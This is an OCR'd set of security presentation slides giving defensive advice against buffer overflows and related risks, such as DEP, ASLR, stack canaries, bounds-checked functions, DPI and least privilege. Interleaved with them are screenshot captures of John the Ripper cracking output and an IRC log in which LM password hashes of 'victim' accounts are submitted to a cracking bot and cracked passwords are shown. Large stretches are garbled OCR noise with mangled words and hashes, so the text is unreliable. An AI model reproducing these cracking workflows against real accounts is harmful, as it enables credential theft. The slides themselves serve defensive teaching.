v DISABLE CLIENT-SIDE SCRIPTING (E.G. JdS)
UNTRUSTED WEBSITES.
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AND HERE ARE SOME TECHNICAL ADVISES TO REDUCE
THIS RISK.:

4 DENY EXECUTION CODE ON THE STACK AND ON THE

HEAP (FOR EXAMPLE WITH PAX, EXEC SHIELD OR
OPENWALL ON *NIX SYSTEMS; MS DATA EXECUTION
PREVENTION, BUFFERSHIELD OR STACKDEFENDER ON
MICROSOFT ONES).

4 IMPLEMENT ASLR (ADDRESS SPACE LAYOUT
RANDOMIZATION) T0O RANDOMIZE BINARIES BASE
ADDRESS, POSITION OF LIBRARIES AS WELL AS STACK
AND HEAP IN THE PROCESS ADDRESS SPACE.
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AND HERE ARE SOME TECHNICAL ADVISES TO REDUCE
THIS RISK.:

v Use DPI (DEEP PACKET INSPECTION) ON YOUR

NETWORK PERIMETER TO DETECT BASIC REMOTE
ATTEMPTS TO EXPLOIT BUFFER OVERFLOWS THROUGH
ATTACK SIGNATURES AND HEURISTICS (E.G. NOP
SLEDS).

4 EDUCATE DEVELOPERS.

4 AVOID STANDARD LIBRARY FUNCTIONS WHICH ARE
NOT BOUNDS CHECKED, SUCH AS GETS, SCANF AND
STRCPY IN OC.
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AND HERE ARE SOME TECHNICAL ADVISES TO REDUCE
THIS RISK.:

4 PLACE CANARIES BETWEEN YOUR BUFFERS AND
CONTROL DATA ON THE STACK TO MONITOR BUFFER
OVERFLOWS. THIS KIND OF STACK SMASHING
PROTECTIONS ARE IMPLEMENTED DURING
COMPILATION, FOR EXAMPLE THROUGH PROPOLICE OR
STACKGUARD aN GCC.

4 USE SSL TERMINATORS TO BREAK AND ANALYSE
SSL STREAMS.

4 CARRY OUT SOURCE CODE REVIEW.
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AND HERE ARE SOME TECHNICAL ADVISES TO REDUCE

THIS RISK.:

v IMPLEMngﬁ%ﬁ‘m
PORTS: YBO oA J&?

FA- RN 6“

P10

[root@kwansetsu vk]# john cemp
pavcgora Asshoes with o2 cilferens smils (A7 LI DZ5 [64764 BS MMX))

es: 0 cime: 0:00:01:07 (3) cf=: 12726K trying: OD41GE - OD4S!T

ex: 0 ctime: 0:00:01:08 (3) cf=: 12762K trying: 623VL - 623YQ

: 0 time: 0:00:51:25 (3) cf=: 14658K rtrying: ELHEB!V - RLH!4F

ISV e e ) s AN N B e e B BN

—RIVILEGE PRINCIPLE.
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AND HERE ARE SOME TECHNICAL ADVISES TO REDUCE
THIS RISK.:

4 HARDEN PHYSICAL ACCESS FOR SENSITIVE

C:EIMF'IJTERS.

FReGito addLM kicpu:1080:NO PASSWORD 831748C9651F 1364 CCASDERFI98A81T4:
15:24 legion | Change NO PASSWORD®* to AADIB435851404EEALDIB4356851404EE

15:25 FRoGito addLM kiopu:1080:AAD3B435B51404EEAADIB4 3565 1404EE 881 T48C9651F 1364 CCASDBEF 99848174
v Trying wordlist..

v E DU c,&:f E: ﬁ”ﬁfﬂ:ﬁiﬁ%ﬂ%@cﬁﬁjﬁﬁHPE‘E,BWV,&%‘E%EBE@?EEEEG&&‘“‘ YOUR

7| LM Hash:8abd8380cac58f22 passwd THISISA hex 5448495349534
E M P LDYEEE'E w0 addLM wvictim2: 7391 1ES3414TFC259B8TCAADIBA 3585 1404EE F2FTECDC02130B63 1CFIEMSE14CD0BE
15:32 FRoGito: add ok... at 14:33:53
15:32 C3P0 LM Hash:1e534147fc2569b7c passwd T1TANIC hex:54315434423143
15:35 FRoGito addLiM wictim3:744 3. CIE406F 2146 T3ES5T584248B8D2CF9E I01D2FB22F511ACAFBTTEIT1TEE4EDFF
FRoGito: add ok... at 14:36:14

4 'ANTI\/iﬁlEp_ﬂgiad“ﬁﬂ;l};mﬁﬁgﬁmiﬁm o7 "ENOUGH BN END-

shic MNAC hex 4dd9da 4143

u s E R m.gM PLTERS o AN ADDRITIBNAL - BEHAVIO RAL

Gito: Your max submition reached (LM): 4

P R. TECT IENHahﬁMIRﬂE&:s&HhEﬁH LY ADVISED.
C370 | LM Hash:e47b8ea3405f0bf3 passwd TULIPES hex 54554c49504553

4 CARRY OUT INTERNAL PENETRATION TESTS.
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YOUR QUESTIONS ARE ALWAYS WELCOME!

FREDERIC.BOURLA@HTBRIDGE.CH
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